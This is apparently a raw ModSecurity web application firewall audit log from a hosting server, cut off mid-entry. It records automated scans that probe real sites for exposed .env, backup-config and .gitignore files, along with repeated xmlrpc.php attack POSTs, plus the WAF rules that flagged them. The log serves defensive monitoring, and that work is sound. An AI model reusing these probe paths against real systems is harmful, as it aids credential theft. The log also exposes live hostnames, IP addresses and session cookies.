WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/config.php.bak"] [unique_id "aE97wWCnKbldJKSM7awcSQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039489466606 644573 (- - -) Stopwatch2: 1750039489466606 644573; combined=2361, p1=357, p2=1893, p3=0, p4=0, p5=110, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e5a8d121-Z-- --428bcc59-A-- [16/Jun/2025:07:34:53.846477 +0530] aE97xavO5IZc5ZzLe_3pAwAAAAA 185.177.72.210 56896 127.0.0.1 7081 --428bcc59-B-- GET /:5601/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --428bcc59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=13ae3c01da71bd5e4940c156b0edd5331750039493; expires=Mon, 16 Jun 2025 03:04:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --428bcc59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/audio/.env"] [unique_id "aE97xavO5IZc5ZzLe_3pAwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039493192398 654141 (- - -) Stopwatch2: 1750039493192398 654141; combined=1937, p1=388, p2=1447, p3=0, p4=0, p5=102, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --428bcc59-Z-- --4a832741-A-- [16/Jun/2025:07:34:56.092166 +0530] aE97x0N_xpBAtP8SIP064AAAAAo 185.177.72.210 56988 127.0.0.1 7081 --4a832741-B-- GET /upfiles/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4a832741-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ede0d0f030bf01558c17bd194d8d5a71750039495; expires=Mon, 16 Jun 2025 03:04:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4a832741-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/upfiles/.env"] [unique_id "aE97x0N_xpBAtP8SIP064AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039495246205 846027 (- - -) Stopwatch2: 1750039495246205 846027; combined=1813, p1=387, p2=1315, p3=0, p4=0, p5=111, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a832741-Z-- --7da5db64-A-- [16/Jun/2025:07:35:16.729654 +0530] aE973GCnKbldJKSM7awcVAAAAAc 185.177.72.210 51734 127.0.0.1 7081 --7da5db64-B-- GET /:8008/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7da5db64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d844d4055653262cd7de46c42c3a2a31750039516; expires=Mon, 16 Jun 2025 03:05:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7da5db64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/web/.env"] [unique_id "aE973GCnKbldJKSM7awcVAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039516025342 704376 (- - -) Stopwatch2: 1750039516025342 704376; combined=1903, p1=364, p2=1415, p3=0, p4=0, p5=124, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7da5db64-Z-- --6828875c-A-- [16/Jun/2025:07:35:23.464735 +0530] aE974okQyF8-ounHsxsKNAAAAA8 185.177.72.210 40896 127.0.0.1 7081 --6828875c-B-- GET /hotpot-app-frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6828875c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fdbc6c6aba3f5fe068541b417f8ca1fe1750039523; expires=Mon, 16 Jun 2025 03:05:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6828875c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/hotpot-app-frontend/.env"] [unique_id "aE974okQyF8-ounHsxsKNAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039522811175 653622 (- - -) Stopwatch2: 1750039522811175 653622; combined=1840, p1=366, p2=1366, p3=0, p4=0, p5=108, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6828875c-Z-- --1b710608-A-- [16/Jun/2025:07:35:33.517345 +0530] aE977IkQyF8-ounHsxsKOgAAAA8 128.199.112.101 60220 127.0.0.1 7081 --1b710608-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1b710608-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1b710608-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE977IkQyF8-ounHsxsKOgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039532564917 952506 (- - -) Stopwatch2: 1750039532564917 952506; combined=2186, p1=355, p2=1372, p3=56, p4=71, p5=211, sr=95, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b710608-Z-- --4a4d7d65-A-- [16/Jun/2025:07:35:54.539666 +0530] aE98AavO5IZc5ZzLe_3pIwAAAAA 213.40.71.210 33580 127.0.0.1 7081 --4a4d7d65-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 213.40.71.210 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 380 origin: https://www.retaxis.com user-agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.4765.1829 Mobile Safari/537.36 accept: */* accept-language: en-US,en;q=0.5 content-type: text/plain;charset=UTF-8 sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty referer: https://www.retaxis.com/ accept-encoding: gzip, deflate, br cookie: _sfs_id=a3c5ce51784f080d79481e8e38c51a811750039543; _fbp=fb.1.1750039553304.644449500525101772 --4a4d7d65-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=3n7vjrl9sc8bjln3erjuefu96m; expires=Sun, 14 Sep 2025 02:05:54 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --4a4d7d65-E-- --4a4d7d65-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE98AavO5IZc5ZzLe_3pIwAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE98AavO5IZc5ZzLe_3pIwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039553536209 1003563 (- - -) Stopwatch2: 1750039553536209 1003563; combined=3144, p1=494, p2=2388, p3=109, p4=34, p5=119, sr=111, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a4d7d65-Z-- --e79b657a-A-- [16/Jun/2025:07:36:33.843222 +0530] aE98KEN_xpBAtP8SIP07DgAAAAo 128.199.112.101 51070 127.0.0.1 7081 --e79b657a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e79b657a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e79b657a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE98KEN_xpBAtP8SIP07DgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039592875402 967877 (- - -) Stopwatch2: 1750039592875402 967877; combined=2475, p1=418, p2=1671, p3=41, p4=63, p5=176, sr=126, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e79b657a-Z-- --71dbd911-A-- [16/Jun/2025:07:36:44.843890 +0530] aE98NKvO5IZc5ZzLe_3pPQAAAAA 185.177.72.210 41372 127.0.0.1 7081 --71dbd911-B-- GET /.gitignore~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71dbd911-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81edf92f9ce25d5bdfbd7bb3256bfe8e1750039604; expires=Mon, 16 Jun 2025 03:06:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71dbd911-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore~"] [unique_id "aE98NKvO5IZc5ZzLe_3pPQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039604171115 672884 (- - -) Stopwatch2: 1750039604171115 672884; combined=1723, p1=401, p2=1247, p3=0, p4=0, p5=74, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71dbd911-Z-- --1f41e36f-A-- [16/Jun/2025:07:37:22.751586 +0530] aE98WgS4XDlCv3KXioQJogAAAAY 185.177.72.210 52302 127.0.0.1 7081 --1f41e36f-B-- GET /:5601/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1f41e36f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=67bd69f6ab8935eac0b0069c9b1abe7e1750039642; expires=Mon, 16 Jun 2025 03:07:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1f41e36f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/staging/.env"] [unique_id "aE98WgS4XDlCv3KXioQJogAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039642083920 667744 (- - -) Stopwatch2: 1750039642083920 667744; combined=1931, p1=398, p2=1418, p3=0, p4=0, p5=114, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f41e36f-Z-- --31a12410-A-- [16/Jun/2025:07:37:33.305093 +0530] aE98ZOMjvy_LHXlMeRAXKgAAAAU 128.199.112.101 46734 127.0.0.1 7081 --31a12410-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --31a12410-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --31a12410-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE98ZOMjvy_LHXlMeRAXKgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039652244778 1060370 (- - -) Stopwatch2: 1750039652244778 1060370; combined=2289, p1=381, p2=1568, p3=38, p4=57, p5=153, sr=104, sw=92, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31a12410-Z-- --11af0b56-A-- [16/Jun/2025:07:37:37.262051 +0530] aE98aGCnKbldJKSM7awcoAAAAAc 185.177.72.210 47104 127.0.0.1 7081 --11af0b56-B-- GET /:8888/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --11af0b56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c4aeb508475985b911c0d14a2cc04b61750039657; expires=Mon, 16 Jun 2025 03:07:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --11af0b56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/admin/.env"] [unique_id "aE98aGCnKbldJKSM7awcoAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039656490837 771278 (- - -) Stopwatch2: 1750039656490837 771278; combined=1812, p1=402, p2=1310, p3=0, p4=0, p5=100, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --11af0b56-Z-- --c369246a-A-- [16/Jun/2025:07:37:38.980072 +0530] aE98akj7LbSKn05brbFLUgAAAAQ 185.177.72.210 47182 127.0.0.1 7081 --c369246a-B-- GET /:10000/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c369246a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d5d266b3c6d74c92c472adfd987fa191750039658; expires=Mon, 16 Jun 2025 03:07:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c369246a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.debug"] [unique_id "aE98akj7LbSKn05brbFLUgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039658204371 775763 (- - -) Stopwatch2: 1750039658204371 775763; combined=1942, p1=412, p2=1450, p3=0, p4=0, p5=79, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c369246a-Z-- --4867a375-A-- [16/Jun/2025:07:38:34.098766 +0530] aE98ofvF1ly0gx5reNmGsgAAAAE 128.199.112.101 38062 127.0.0.1 7081 --4867a375-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4867a375-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4867a375-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified 